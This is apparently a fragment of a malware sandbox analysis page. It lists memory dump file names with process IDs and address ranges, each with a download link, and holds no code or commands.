memory/3480-159-0x0000000004A70000-0x0000000004AD6000-memory.dmp

Download

memory/3480-160-0x0000000004AE0000-0x0000000004B46000-memory.dmp

Download

memory/3828-153-0x00007FFA06A20000-0x00007FFA074E1000-memory.dmp

Download

memory/3828-151-0x00007FFA06A20000-0x00007FFA074E1000-memory.dmp

Download

memory/4036-164-0x00000162F4AC0000-0x00000162F4ADC000-memory.dmp

Download

memory/4036-163-0x00007FFA06A20000-0x00007FFA074E1000-memory.dmp

Download

memory/4036-162-0x00000162F4950000-0x00000162F495A000-memory.dmp

Download

memory/4036-161-0x00000162F4870000-0x00000162F488C000-memory.dmp

Download

memory/4140-148-0x00007FFA06A20000-0x00007FFA074E1000-memory.dmp

Download

memory/4140-147-0x00007FFA06A20000-0x00007FFA074E1000-memory.dmp

Download